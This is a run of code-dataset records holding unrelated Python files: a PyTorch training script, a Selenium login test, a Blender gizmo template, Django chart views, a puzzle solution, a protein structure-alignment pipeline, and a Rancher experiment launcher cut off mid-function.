{}\n'''\nif args.dataset == 'cifar10':\n normalize = transforms.Normalize(\n mean=[0.491, 0.482, 0.447],\n std=[0.247, 0.243, 0.262])\n train_loader = torch.utils.data.DataLoader(\n datasets.CIFAR10('./data', train=True, download=False,\n transform=transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n #transforms.ColorJitter(brightness=1),\n transforms.ToTensor(),\n normalize\n ])\n ), batch_size=args.batch_size, shuffle=True, **kwargs\n )\n validate_loader = torch.utils.data.DataLoader(\n datasets.CIFAR10('./data', train=False,\n transform=transforms.Compose([\n transforms.ToTensor(),\n normalize\n ])\n ),\n batch_size=args.validate_batch_size, shuffle=False, **kwargs\n )\nelif args.dataset == 'cifar100':\n normalize = transforms.Normalize(\n mean=[0.507, 0.487, 0.441],\n std=[0.267, 0.256, 0.276])\n # normalize = transforms.Normalize(mean=[.5,.5,.5], std=[.5,.5,.5])\n # normalize = transforms.Normalize((.5,.5,.5),(.5,.5,.5))\n train_loader = torch.utils.data.DataLoader(\n datasets.CIFAR100('./data', train=True, download=True,\n transform=transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n normalize\n ])\n ), batch_size=args.batch_size, shuffle=True, **kwargs\n )\n validate_loader = torch.utils.data.DataLoader(\n datasets.CIFAR100('./data', train=False,\n transform=transforms.Compose([\n transforms.ToTensor(),\n normalize\n ])\n ),\n batch_size=args.validate_batch_size, shuffle=False, **kwargs\n )\nelse:\n train_loader = torch.utils.data.DataLoader(\n ImageList(root=args.image_root_path, fileList=args.image_train_list,\n transform=transforms.Compose([\n transforms.Resize(size=(args.img_size, args.img_size)),\n transforms.RandomCrop(args.crop_size),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n ])\n ),\n batch_size=args.batch_size, shuffle=True, **kwargs\n )\n validate_loader = torch.utils.data.DataLoader(\n ImageList(\n root=args.image_root_path, fileList=args.image_validate_list,\n transform=transforms.Compose(\n [transforms.Resize(\n size=(args.crop_size, args.crop_size)),\n transforms.ToTensor(), \n ])\n ),\n batch_size=args.validate_batch_size, shuffle=False, **kwargs\n )\n'''\n\ntest_path = '/home/leolau/pytorch/data' #just for test, when parameter confirm this might delete\ndataset_f = dataset_factory(args.dataset,args.batch_size,args.validate_batch_size,kwargs,root_path=test_path)\ntrain_loader = dataset_f.train_loader\nvalidate_loader = dataset_f.validate_loader\n\noptimizer = optim.SGD(\n filter(\n lambda p: p.requires_grad,\n model.parameters()),\n lr=args.lr,\n weight_decay=args.weight_decay,\n momentum=args.momentum,\n nesterov=True)\n# optimizer = optim.Adam(\n# filter(\n# lambda p: p.requires_grad,\n# model.parameters()),\n# lr=args.lr,\n# weight_decay=args.weight_decay)\ncriterion = nn.CrossEntropyLoss()\ntransfer_criterion = nn.MSELoss()\nif args.sr:\n print('\\nSparsity Training \\n')\n trainer = Network_Slimming_Trainer(\n model=model,\n optimizer=optimizer,\n lr=args.lr,\n criterion=criterion,\n start_epoch=args.start_epoch,\n epochs=args.epochs,\n cuda=args.cuda,\n log_interval=args.log_interval,\n train_loader=train_loader,\n validate_loader=validate_loader,\n root=args.save_path,\n penalty=args.p,\n )\nelif args.se:\n print('\\nSE_ResNet Training \\n')\n trainer = SE_Trainer(\n model=model,\n optimizer=optimizer,\n lr=args.lr,\n criterion=criterion,\n start_epoch=args.start_epoch,\n epochs=args.epochs,\n cuda=args.cuda,\n log_interval=args.log_interval,\n train_loader=train_loader,\n validate_loader=validate_loader,\n root=args.save_path,\n SEBlock=SEBlock\n )\n\nelif args.fine_tune is not None and args.teacher_model is not None: # other 3 00 01 10\n print('\\nTraining with Knowledge Distillation \\n')\n trainer = Trainer(\n model=model,\n teacher_model=teacher_model,\n optimizer=optimizer,\n lr=args.lr,\n criterion=criterion,\n start_epoch=args.start_epoch,\n epochs=args.epochs,\n cuda=args.cuda,\n log_interval=args.log_interval,\n train_loader=train_loader,\n validate_loader=validate_loader,\n root=args.save_path,\n loss_ratio=args.loss_ratio,\n transfer_criterion=transfer_criterion,\n\n )\n\nelse:\n print('\\nNormal Training \\n')\n trainer = Trainer(\n model=model,\n optimizer=optimizer,\n lr=args.lr,\n criterion=criterion,\n start_epoch=args.start_epoch,\n epochs=args.epochs,\n cuda=args.cuda,\n log_interval=args.log_interval,\n train_loader=train_loader,\n validate_loader=validate_loader,\n root=args.save_path,\n\n )\ntrainer.start()\n","sub_path":"main_bk.py","file_name":"main_bk.py","file_ext":"py","file_size_in_byte":7752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"340640825","text":"from selenium import selenium\nimport unittest, time, re\n\nclass abc(unittest.TestCase):\n def setUp(self):\n self.verificationErrors = []\n self.selenium = selenium(\"localhost\", 4444, \"*chrome\", \"http://www.alpha.ablesky.com/\")\n self.selenium.start()\n \n def test_abc(self):\n sel = self.selenium\n sel.open(\"/index.do\")\n sel.click(\"id=J_PopupLogin\")\n time.sleep(2)\n sel.type(\"id=login_username\", \"lyang_test\")\n sel.type(\"id=login_password\", \"2165165\")\n sel.click(\"id=ext-gen63\")\n time.sleep(2)\n sel.click(\"id=headMyOffice\")\n sel.wait_for_page_to_load(\"30000\")\n sel.click(\"id=headLogoutId\")\n sel.wait_for_page_to_load(\"30000\")\n \n def tearDown(self):\n self.selenium.stop()\n self.assertEqual([], self.verificationErrors)\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"new python/testscripts/ab.py","file_name":"ab.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"167706218","text":"# Example of a gizmo that activates an operator\n# using the predefined dial gizmo to change the camera roll.\n#\n# Usage: Run this script and select a camera in the 3D view.\n#\nimport bpy\nfrom bpy.types import (\n GizmoGroup,\n)\n\n\nclass MyCameraWidgetGroup(GizmoGroup):\n bl_idname = \"OBJECT_GGT_test_camera\"\n bl_label = \"Object Camera Test Widget\"\n bl_space_type = 'VIEW_3D'\n bl_region_type = 'WINDOW'\n bl_options = {'3D', 'PERSISTENT'}\n\n @classmethod\n def poll(cls, context):\n ob = context.object\n return (ob and ob.type == 'CAMERA')\n\n def setup(self, context):\n # Run an operator using the dial gizmo\n ob = context.object\n mpr = self.gizmos.new(\"GIZMO_GT_dial_3d\")\n props = mpr.target_set_operator(\"transform.rotate\")\n props.constraint_axis = False, False, True\n props.constraint_orientation = 'LOCAL'\n props.release_confirm = True\n\n mpr.matrix_basis = ob.matrix_world.normalized()\n mpr.line_width = 3\n\n mpr.color = 0.8, 0.8, 0.8\n mpr.alpha = 0.5\n\n mpr.color_highlight = 1.0, 1.0, 1.0\n mpr.alpha_highlight = 1.0\n\n self.roll_widget = mpr\n\n def refresh(self, context):\n ob = context.object\n mpr = self.roll_widget\n mpr.matrix_basis = ob.matrix_world.normalized()\n\n\nbpy.utils.register_class(MyCameraWidgetGroup)\n","sub_path":"engine/2.80/scripts/templates_py/gizmo_operator_target.py","file_name":"gizmo_operator_target.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"319058681","text":"import calendar\n\nfrom django.http import JsonResponse\nfrom django.shortcuts import render\nfrom .models import Feedback, Giver, ENTRUSTABILITY_SCORES, ACTIVITIES\n\n\n# primary view, calls the html script\ndef bootstrap_view(request):\n # no filtering done on initial request\n qs_inputs = filter_request(request, 'None')\n # store the filter input from the form so users will not have to reenter data upon each filter request\n url_filter = request.META['QUERY_STRING']\n context = {\n 'queryset': qs_inputs['qs'],\n 'activities': qs_inputs['activities'],\n 'givers': qs_inputs['givers'],\n 'url_filter': url_filter,\n 'selected_inputs': qs_inputs['selected_inputs'],\n 'entrustability_dict': qs_inputs['entrustability_dict'],\n 'activities_dict': qs_inputs['activities_dict']\n }\n return render(request, \"bootstrap_form.html\", context)\n\n\n# primary filtering method used by views\n# request is the html request\n# config is to disable certain filtering for specific chart types, can be empty, 'GiverPie', or 'ActivityType'\ndef filter_request(request, config):\n # order by date and store all queries\n qs = Feedback.objects.order_by('feedbackDate').all()\n start_date_query = request.GET.get('startDate')\n end_date_query = request.GET.get('endDate')\n giver_name_query = request.GET.get('giverName')\n complicated_query = request.GET.get('complicated')\n complex_query = request.GET.get('complex')\n not_complicated_query = request.GET.get('notComplicated')\n not_complex_query = request.GET.get('notComplex')\n activity_query = request.GET.get('activity')\n sorting_query = request.GET.get('byTime')\n\n # save initial inputs\n selected_start_date = start_date_query\n selected_end_date = end_date_query\n selected_giver = giver_name_query\n selected_complicated = complicated_query\n selected_complex = complex_query\n selected_not_complicated = not_complicated_query\n selected_not_complex = not_complex_query\n selected_activity = activity_query\n selected_sorting = sorting_query\n\n # filtering\n if is_valid_queryparam(giver_name_query) and giver_name_query != 'All' and config != 'GiverPie':\n qs = qs.filter(giver__name__icontains=giver_name_query)\n else:\n selected_giver = 'All'\n if is_valid_queryparam(start_date_query):\n qs = qs.filter(feedbackDate__gte=start_date_query)\n else:\n selected_start_date = \"2017-01-01\" # preset date for filling\n if is_valid_queryparam(end_date_query):\n qs = qs.filter(feedbackDate__lt=end_date_query)\n else:\n selected_end_date = \"2019-12-31\" # preset date for filling\n # if complicated is on, set complicated to true (regardless of if not_complicated is also on)\n if complicated_query == 'on':\n qs = qs.filter(complicated=True)\n elif not_complicated_query == 'on':\n qs = qs.filter(complicated=False)\n else:\n selected_complicated = 'off'\n selected_not_complicated = 'off'\n if complex_query == 'on':\n qs = qs.filter(complex=True)\n elif not_complex_query == 'on':\n qs = qs.filter(complex=False)\n else:\n selected_complex = 'off'\n selected_not_complex = 'off'\n if is_valid_queryparam(activity_query) and activity_query != 'All' and config != 'ActivityRadar':\n qs = qs.filter(activity=activity_query)\n else:\n selected_activity = 'All'\n\n activities = Feedback.objects.order_by('activity').values('activity').distinct()\n givers = Feedback.objects.order_by('giver__name').values('giver__name').distinct()\n\n # store selected inputs\n selected_inputs = {\n 'selected_start_date': selected_start_date,\n 'selected_end_date': selected_end_date,\n 'selected_giver': selected_giver,\n 'selected_complicated': selected_complicated,\n 'selected_complex': selected_complex,\n 'selected_not_complicated': selected_not_complicated,\n 'selected_not_complex': selected_not_complex,\n 'selected_activity': selected_activity,\n 'selected_sorting': selected_sorting\n }\n qs_inputs = {\n 'qs': qs,\n 'selected_inputs': selected_inputs,\n 'entrustability_dict': dict(ENTRUSTABILITY_SCORES),\n 'activities_dict': dict(ACTIVITIES),\n 'givers': givers,\n 'activities': activities\n }\n return qs_inputs\n\n\n# primary method for generating the appropriate data for the feedback chart\ndef feedback_chart(request):\n # run all filters\n qs_inputs = filter_request(request, 'None')\n qs = qs_inputs['qs']\n selected_inputs = qs_inputs['selected_inputs']\n data = []\n labels = []\n # averages the entrustability score by year and month\n data_month, data_year, labels_month, labels_year = averaging_helper(qs, selected_inputs['selected_start_date'],\n selected_inputs['selected_end_date'])\n\n # display appropriate output based on user input, default to month\n if selected_inputs['selected_sorting'] == 'byYear':\n data = data_year\n labels = labels_year\n elif selected_inputs['selected_sorting'] == 'byIndividual':\n for entry in qs:\n data.append(entry.entrustability)\n labels.append(entry.to_month_day_year())\n else:\n data = data_month\n labels = labels_month\n\n return JsonResponse(data={\n 'labels': labels,\n 'data': data,\n 'selected_inputs': selected_inputs,\n 'entrustability_dict': qs_inputs['entrustability_dict'],\n 'activities_dict': qs_inputs['activities_dict']\n })\n\n\n# primary method for generating the appropriate data for the giver pie chart\ndef giver_pie_chart(request):\n # run all filters using config: 'GiverPie'\n qs_inputs = filter_request(request, 'GiverPie')\n qs = qs_inputs['qs']\n selected_inputs = qs_inputs['selected_inputs']\n\n # primary helper function that counts the amount of feedback given be each giver\n labels, data_count = count_by_giver(qs, qs_inputs['givers'])\n\n return JsonResponse(data={\n 'labels': labels,\n 'data': data_count,\n 'selected_inputs': selected_inputs,\n 'entrustability_dict': qs_inputs['entrustability_dict'],\n 'activities_dict': qs_inputs['activities_dict']\n })\n\n\n# primary method for generating the appropriate data for the activity radar chart\ndef activity_radar_chart(request):\n # run all filters using config: 'ActivityRadar'\n qs_inputs = filter_request(request, 'ActivityRadar')\n qs = qs_inputs['qs']\n selected_inputs = qs_inputs['selected_inputs']\n\n # primary helper function that averages entrustability scores by activities\n labels, data = average_by_activity(qs, qs_inputs['activities'])\n\n return JsonResponse(data={\n 'labels': labels,\n 'data': data,\n 'selected_inputs': selected_inputs,\n 'entrustability_dict': qs_inputs['entrustability_dict'],\n 'activities_dict': qs_inputs['activities_dict']\n })\n\n\n# primary helper function for generating the average entrustability score by year and month\ndef averaging_helper(qs, start_date, end_date):\n # this only works for the given data model\n start_year = int(start_date[0:4])\n end_year = int(end_date[0:4])\n start_month = int(start_date[5:7])\n end_month = int(end_date[5:7])\n labels_month = []\n labels_year = []\n data_month = []\n data_year = []\n\n # exception handling\n if start_year == end_year and start_month > end_month:\n return data_month, data_year, labels_month, labels_year\n if start_year > end_year:\n return data_month, data_year, labels_month, labels_year\n\n # creating labels\n cur_year = start_year\n cur_month = start_month\n labels_year_temp = []\n while cur_year != end_year or cur_month != end_month:\n labels_month.append(calendar.month_abbr[cur_month] + ' ' + str(cur_year))\n labels_year_temp.append(str(cur_year))\n if cur_month == 12:\n cur_month = 1\n cur_year = cur_year + 1\n else:\n cur_month = cur_month + 1\n labels_month.append(calendar.month_abbr[cur_month] + ' ' + str(cur_year))\n labels_year_temp.append(str(cur_year))\n for i in labels_year_temp:\n if i not in labels_year:\n labels_year.append(i)\n\n data_sum_year = [0] * len(labels_year)\n data_sum_month = [0] * len(labels_month)\n data_count_year = [0] * len(labels_year)\n data_count_month = [0] * len(labels_month)\n\n # iterating through queryset to sum entrustability scores\n for entry in qs:\n index_year = labels_year.index(entry.to_year())\n data_sum_year[index_year] = data_sum_year[index_year] + entry.entrustability\n data_count_year[index_year] = data_count_year[index_year] + 1\n index_month = labels_month.index(entry.to_month_year())\n data_sum_month[index_month] = data_sum_month[index_month] + entry.entrustability\n data_count_month[index_month] = data_count_month[index_month] + 1\n\n # average the values ofr month and year\n for index in range(0, len(labels_year)):\n if data_count_year[index] == 0:\n data_year.append(None)\n else:\n data_year.append(data_sum_year[index] / data_count_year[index])\n for index in range(0, len(labels_month)):\n if data_count_month[index] == 0:\n data_month.append(None)\n else:\n data_month.append(data_sum_month[index] / data_count_month[index])\n\n return data_month, data_year, labels_month, labels_year\n\n\n# primary helper function for the giver pie chart, counts the amount of feedback given by each giver\ndef count_by_giver(qs, givers):\n labels = []\n for giver in givers:\n labels.append(giver['giver__name'])\n data_count = [0] * len(givers)\n\n for entry in qs:\n index = labels.index(entry.giver.name)\n data_count[index] = data_count[index] + 1\n\n return labels, data_count\n\n\n# primary helper function for the activity radar chart, calculates the average entrustability score by activity\ndef average_by_activity(qs, activities):\n # creating initial variables\n labels = []\n labels_temp = []\n for activity in activities:\n labels.append(dict(ACTIVITIES)[activity['activity']])\n labels_temp.append(activity['activity'])\n data_sum = [0] * len(activities)\n data_count = [0] * len(activities)\n data = []\n\n # iterating through all entries and queryset and summing the entrustability\n for entry in qs:\n index = labels_temp.index(entry.activity)\n data_sum[index] = data_sum[index] + entry.entrustability\n data_count[index] = data_count[index] + 1\n\n # averaging the scores\n for index in range(0, len(labels)):\n if data_count[index] == 0:\n data.append(None)\n else:\n data.append(data_sum[index] / data_count[index])\n\n return labels, data\n\n\n# checks if the given query parameter is valid\ndef is_valid_queryparam(param):\n return param != '' and param is not None\n","sub_path":"core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"427436655","text":"N = int(input())\narr = []\nfor i in range(N):\n arr.append(list(map(int, input())))\n\nfor h in range(1, N): #높이를 1씩 높여가면서 맵을 반복적으로 탐색\n flag=0\n for i in range(1, N - 1):\n for j in range(1, N - 1):\n if arr[i][j]==h:\n flag = 1 #현재 높이가 있으면 체크\n if arr[i-1][j]>=h and arr[i+1][j]>=h and arr[i][j-1]>=h and arr[i][j+1]>=h:\n arr[i][j]+=1\n\n if flag==0: break\nprint (h-1)\n\n\n","sub_path":"algorithm/codexpert/마을인공위성.py","file_name":"마을인공위성.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"308983261","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\nimport argparse\nimport sys\nimport os\nimport glob\nimport subprocess\nimport pandas as pd\nimport pdb\n\n\n\n#Arguments for argparse module:\nparser = argparse.ArgumentParser(description = '''A program that runs TMalign and tree-puzzle and\n\t\t\t\t\t\treceives the resulting output.''')\n\nparser.add_argument('outdir', nargs=1, type= str, default=sys.stdin, help = 'Path to output directory.')\nparser.add_argument('hgroup_file', nargs=1, type= str, default=sys.stdin, help = 'File with selected uids for the specific H-group.')\nparser.add_argument('puzzle', nargs=1, type= str, default=sys.stdin, help = 'Path to tree-puzzle.')\nparser.add_argument('TMalign', nargs=1, type= str, default=sys.stdin, help = 'Path to TMalign.')\nparser.add_argument('address', nargs=1, type= str, default=sys.stdin, help = 'Web adress to download from.') #www.cathdb.info/version/v4_2_0/api/rest/id/\n\n#FUNCTIONS\ndef run_TMalign(outdir, TMalign, hgroup, hgroup_file, address):\n\t'''Download pdb files from CATH api and run TMalign.\n\t'''\n\t\n\tmeasures = {} #Save RMSD to add with MLAA distance from tree-puzzle\n\tuids = pd.read_csv(hgroup_file, sep ='\\n', header=None)\n\tuids = uids[0]\n\t#Get pdb files for domains\n\tfor uid in uids:\n\t\t#Get pdb file. Make sure they are saved to outdir\n\t\tsubprocess.call([\"wget\",address+uid+'.pdb'])\t\t\t\n\n\t#Run TMalign\n\tfor i in range(len(uids)):\n\t\tstr_i = outdir+uids[i]+'.pdb'\n\t\tfor j in range(i+1, len(uids)):\n\t\t\tstr_j = outdir+uids[j]+'.pdb'\n\t\t\t#Run TMalign and parse output\n\t\t\ttmalign_out = subprocess.check_output([TMalign, str_i , str_j]) #Performs optimal structural alignment \n\t\t\t(tm_aligned_len, rmsd, tmscores, tm_identity, chain_lens, tm_sequences)= parse_tm(tmalign_out)\t\n\t\t\tmeasures[uids[i]+'_'+uids[j]] = [rmsd, tmscores[0], tmscores[1]]\n\t\t\t#Make .phy file of aligned sequences\n\t\t\tmake_phylip([uids[i], uids[j]], tm_sequences[0], tm_sequences[1]) \n\n\treturn measures\n\ndef parse_tm(tmalign_out):\n\t'''A function that gets the uids and the corresponding scores\n\tand prints them in tsv.\n\t'''\n\t\n\ttmalign_out = tmalign_out.decode(\"utf-8\")\n\ttmalign_out = tmalign_out.split('\\n')\n\ttmscores = [] #Save TMscores\n\tfor i in range(0, len(tmalign_out)): #Step through all items in list\n\t\t\t\n\t\tif 'Aligned length' and 'RMSD' and 'Seq_ID' in tmalign_out[i]:\n\t\t\trow = tmalign_out[i].split(',')\n\t\t\taligned_len = row[0].split('=')[1].lstrip()\n\t\t\trmsd = row[1].split('=')[1].lstrip()\n\t\t\tidentity = row[2].split('=')[2].lstrip() \n\t\t\n\t\tif 'Length of Chain_1:' in tmalign_out[i]:\n\t\t\tlen_1 = tmalign_out[i].split(':')[1].split()[0]\n\t\t\t\t\n\t\tif 'Length of Chain_2:' in tmalign_out[i]:\n len_2 = tmalign_out[i].split(':')[1].split()[0]\n\t\tif 'TM-score=' in tmalign_out[i]:\n\t\t\ttmscores.append(tmalign_out[i].split('(')[0].split('=')[1].strip())\n\n\t#Get per residue sequence alignments from structural alignment\n\tsequences = [tmalign_out[-5], tmalign_out[-3]]\n\n\tchain_lens = [int(len_1), int(len_2)]\n\treturn(aligned_len, rmsd, tmscores, identity, chain_lens, sequences)\n\ndef make_phylip(uids, query_aln, template_aln):\n '''Print phylip format for tree-puzzle calculations\n '''\n #Create text in phylip format\n text = (' 4 ' + str(len(query_aln)) + '\\n'\n + uids[0] + '00|' + query_aln + '\\n'\n + 'copy11111' + '|' + query_aln + '\\n'\n + uids[1] + '00|' + template_aln + '\\n'\n + 'copy22222' + '|' + template_aln + '\\n')\n\n #Define file name\n file_name = uids[0] + '_' + uids[1] + '.phy'\n #Open file and write text to it\n with open(file_name, \"w\") as file:\n file.write(text)\n\n return None\n\ndef run_puzzle(indir, puzzle):\n '''Run tree-puzzle and retrieve output\n '''\n for name in glob.glob(indir+\"*.phy\"): #Use all .phy files\n uid_pairs = name.split('/')[-1].split('.')[0].split('_')\n try:\n p = subprocess.Popen([puzzle, name], stdin=subprocess.PIPE)\n p.communicate(b'y\\nn\\n')[0]\n except:\n raise IOError(name)\n\n\n return None\n\ndef parse_puzzle(measures, indir):\n\t'''Parse output from tree-puzzle and write to dict\n\t'''\n\tkeys = [*measures] #Make list of keys in dict\n\tfor key in keys:\n\t\tuids = key.split('_')\n\t\trmsd, tmscore1, tmscore2 = measures[key] #Get rmsd\n\t\ttry:\n\t\t\tdist_file = open(indir + key + '.phy.dist')\n\t\texcept:\n\t\t\tuids = key.split('_')\n\t\t\tdist_file = open(indir + uids[1] + '_' + uids[0] + '.phy.dist')\n\t\t\tmeasures.pop(key)\n\t\t\t#change key to match other file names\n\t\t\tkey = uids[1] + '_' + uids[0]\n\t\tfor line in dist_file:\n\t\t\tline = line.rstrip()\n\t\t\tline = line.split(\" \") #split on double space\n\t\t\tline = list(filter(None, line)) #Filter away empty strings\n\n\t\t\tif len(line)>2:\n\t\t\t\tseq_dist = line[-1] #Get ML evolutionary distance between sequences\n\t\t\t\tmeasures[key] = [rmsd, tmscore1, tmscore2, seq_dist] \n\t\t\t\tbreak\n\t\tdist_file.close()\n\n\treturn measures\n\n\ndef print_tsv(measures, hgroup):\n\t'''Print measures in tsv to file\n\t'''\n\twith open(hgroup+'.tsv', 'w') as file:\n\t\tfile.write('uid1\\tuid2\\tMLAAdist\\tRMSD\\tTMscore_high\\tTMscore_low\\n')\n\t\tfor key in measures:\n\t\t\tuids = key.split('_')\n\t\t\trmsd, tmscore1, tmscore2, seq_dist = measures[key]\n\t\t\thigh_score = max(float(tmscore1), float(tmscore2))\n\t\t\tlow_score = min(float(tmscore1), float(tmscore2)) \n\t\t\tfile.write(uids[0]+'\\t'+uids[1]+'\\t'+seq_dist+'\\t'+rmsd+'\\t'+str(high_score)+'\\t'+str(low_score)+'\\n')\n\n\treturn None\n\n#####MAIN#####\nargs = parser.parse_args()\n\noutdir = args.outdir[0]\nhgroup_file = args.hgroup_file[0]\npuzzle = args.puzzle[0]\nTMalign = args.TMalign[0]\naddress = args.address[0]\n\n#Download pdb files from CATH api and run TMalign\nhgroup = hgroup_file.split('/')[-1].split('.txt')[0]\nmeasures = run_TMalign(outdir, TMalign, hgroup, hgroup_file, address)\n#Run tree-puzzle on .phy files created from extracted sequence alignments from TMalign struvtural alignments\nrun_puzzle(outdir, puzzle)\n#Parse dist files from tree-puzzle and match to TMalign results\nmeasures = parse_puzzle(measures, outdir)\nprint_tsv(measures, hgroup)\n","sub_path":"CATH/str_aln/str_match.py","file_name":"str_match.py","file_ext":"py","file_size_in_byte":6151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"163738201","text":"# coding=utf-8\n\"\"\"Launch several services in a Rancher platform.\"\"\"\nimport json\nimport requests\nimport itertools\nfrom subprocess import Popen, PIPE\nimport threading\nimport yaml\nimport numpy\nimport os\nimport signal\nimport shutil\nfrom operator import methodcaller\nimport time\nimport re\nfrom launcherApp.dbConnection import dbConnector\nimport datetime\nfrom bson.objectid import ObjectId\n\n# TO SEE DEBUG AND INFO\n# TODO: Check Error Handling\n# TODO: Fix it for local usage.\n# TODO: reformta del nombre de las colecciones\n# NOTE: name of the collections -> experiments, queue, execution\n\n\nclass lanzador:\n \"\"\".\"\"\"\n\n def __init__(self, url_entradas, access_key, secret_key, db_password, logger):\n \"\"\"Init the object.\"\"\"\n self.url_entradas = url_entradas\n self.access_key = access_key\n self.secret_key = secret_key\n self.logger = logger\n self.namespaces_running = 0\n self.namespaces_limit = 0\n self.time_out = 0\n self.db_password = db_password\n self.db = None\n self.MODULE_DIR = os.path.dirname(__file__)\n self.logger.info(self.MODULE_DIR)\n self.connect_db()\n self.clean_directories()\n\n def launch_experiment(self, experiment_id):\n \"\"\"Launch the experiments in the execution queue.\"\"\"\n self.logger.info(type(experiment_id))\n experiment = self.db.get_document(\n doc_query={'_id': experiment_id},\n coll_name='experiments')\n self.logger.debug(type(experiment))\n self.logger.info(experiment['files'])\n\n # for file_name, text in experiment['files']:\n # self.logger.info(name + '=' + value)\n for file_name in experiment['files']:\n if(file_name != 'rancher-compose.yml'):\n with open(\n self.MODULE_DIR + '/files/'\n + experiment['experiment_group'] + '/'\n + file_name,\n 'r') as f:\n text = f.read()\n for name, value in experiment['parameters'].items():\n text = text.replace('${' + name + '}', value)\n # Set by default the namespace\n text = text.replace(\n '${' + 'NAMESPACE' + '}',\n experiment['name'])\n text = text.replace(\n '${' + 'ROOT_TOPIC' + '}',\n experiment['name'])\n with open(\n self.MODULE_DIR + '/files/'\n + experiment['experiment_group']\n + '/launch/' + file_name,\n 'w') as f:\n f.write(text)\n self.logger.info(\n 'Preparado para lanzar namespace ' + experiment['name'])\n # Se crea un namespace por cada combinacion\n self.create_namespace(experiment['name'])\n for file_name in experiment['files']:\n if(file_name != 'rancher-compose.yml'):\n self.start_service(\n experiment['name'],\n self.MODULE_DIR + '/files/'\n + experiment['experiment_group']\n + '/launch/' + file_name)\n # NOTE: Guarda cada experimento como documento en la coll de executions\n self.db.update_document(\n doc_query={'_id': experiment_id},\n doc_update={'launch_time': datetime.datetime.utcnow()},\n coll_name='experiments')\n self.db.push_document(\n doc_query={}, key='running',\n element=experiment_id, coll_name='execution')\n pid = self.startKafka(experiment['name'])\n thread = threading.Thread(\n target=self.checkResults,\n args=[experiment['name'], pid])\n thread.start()\n\n def launch_experiments(self):\n \"\"\".\"\"\"\n print('COMIENZA PROCESO DE LANZAMIENTO EXPERIMENTOS')\n entradas = requests.get(url=self.url_entradas, verify=False)\n entradas = yaml.load(entradas.text)\n self.logger.info('Obtenido el fichero de configuracion ' +\n 'para los parametros')\n self.logger.debug(entradas)\n self.time_out = entradas[\"time_out\"]\n self.namespaces_limit = entradas[\"limit_namespaces\"]\n\n for catalog_name, catalog_param in entradas['catalog_services'].items():\n self.create_directories(catalog_name)\n files, url_rancher = self.getConfiguration(\n catalog_param,\n catalog_name)\n self.configurateKubectl(url_rancher)\n parametros_nombre, parametros = self.getDefinedParams(\n catalog_param['PARAMS'])\n parametros_nombre, parametros = self.addDefaultParams(\n parametros_nombre,\n parametros,\n catalog_name)\n self.save_grid_combinations(\n catalog_name,\n files,\n parametros,\n parametros_nombre)\n self.logger.info('Combinations save for the catalog')\n # while(self.namespaces_running >= self.namespaces_limit):\n # continue\n experiment_id = self.db.pop_document({}, 'queue', 'queue')\n\n while (experiment_id and self.namespaces_running < self.namespaces_limit):\n self.launch_experiment(experiment_id)\n self.namespaces_running += 1\n # while(self.namespaces_running >= self.namespaces_limit):\n # continue\n experiment_id = self.db.pop_document({}, 'queue', 'queue')\n\n def connect_db(self):\n \"\"\"Establish a connection with the database.\"\"\"\n cont = 0\n while cont < 10:\n try:\n self.db = dbConnector(\n db_name='automodelingDB')\n except Exception:\n self.logger.warning('NO DATABASE CONNECTION')\n cont += 1\n time.sleep(5)\n else:\n self.logger.info('Database succesfuly connected')\n break\n if cont is 10:\n self.logger.critical('FAILED TO CONNECT THE DATABASE')\n\n def create_directories(self, dir_name):\n \"\"\"Create the directory with the specified name.\"\"\"\n if not os.path.isdir(self.MODULE_DIR + '/files/' + dir_name):\n os.mkdir(self.MODULE_DIR + '/files/' + dir_name)\n if not os.path.isdir(self.MODULE_DIR + '/files/' + dir_name + '/launch'):\n os.mkdir(self.MODULE_DIR + '/files/' + dir_name + '/launch')\n\n def clean_directories(self):\n \"\"\"Clean the files directory.\"\"\"\n if(os.path.isdir(self.MODULE_DIR + '/files')):\n shutil.rmtree(self.MODULE_DIR + '/files')\n os.mkdir(self.MODULE_DIR + '/files')\n\n def getConfiguration(self, configuration, catalog_name):\n \"\"\"\n Extrae de un yaml toda la configuracion para el lanzador.\n\n Devuelve la lista de archivos necesarios para la plantilla del catalogo\n y escribe en una subcarpeta dentro de files con el nombre del catalogo\n los archivos necesarios para lanzar los experimentos.\n \"\"\"\n # Peticion a la API para obtener el dockercompose\n url_catalog = configuration[\"URL_API\"]\n url_rancher = configuration[\"URL_RANCHER\"]\n auth = requests.auth.HTTPBasicAuth(self.access_key, self.secret_key)\n r = requests.get(url=url_catalog, auth=auth)\n content_all = r.json()\n self.logger.info('Obtenido el objeto JSON de la API')\n self.logger.debug(content_all)\n\n # Obtención de los ficheros de los servicios que hay que arrancar\n files = content_all['files']\n for file_name in files:\n with open(\n self.MODULE_DIR + '/files/'\n + catalog_name + '/' + file_name,\n 'w') as file_service:\n file_service.write(str(content_all['files'][file_name]))\n\n return (files, url_rancher)\n\n def configurateKubectl(self, rancher_url):\n \"\"\"Configurate the kubectl client in the container.\"\"\"\n # TODO: Dejar configurable los parametros que llevan el nombre ml-kube\n\n # Configuramos kubectl\n self.logger.debug('Empezamos a configurar kubectl')\n\n # calculo de la ruta relativa donde se encuentra la carpeta .kube\n ##filepath = '/root/.kube/'\n # if args.local: #TODO: New local configuration needed\n filepath = '/home/ignacio/.kube/'\n\n os.system('cp ' + self.MODULE_DIR + '/config ' + filepath)\n\n # Obtenemos la plantilla para el config\n with open(filepath + 'config', 'r') as f:\n text = f.read()\n self.logger.debug('Plantilla del config\\n' + 